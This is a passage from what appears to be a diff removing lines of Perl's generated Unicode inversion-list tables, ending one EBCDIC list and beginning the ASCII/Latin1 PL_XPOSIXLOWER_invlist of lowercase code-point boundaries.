0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x1680, - 0x1681, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x200B, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x2065, - 0x2066, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3001, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xE000, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_XPOSIXLOWER_invlist[] = { /* for ASCII/Latin1 */ - 1281, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xBA, - 0xBB, - 0xDF, - 0xF7, - 0xF8, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BB, - 0x1BD, - 0x1C0, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x294, - 0x295, - 0x2B9, - 0x2C0, - 0x2C2, - 0x2E0, - 0x2E5, - 0x345, - 0x346, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37A, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D00, - 0x1DC0, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 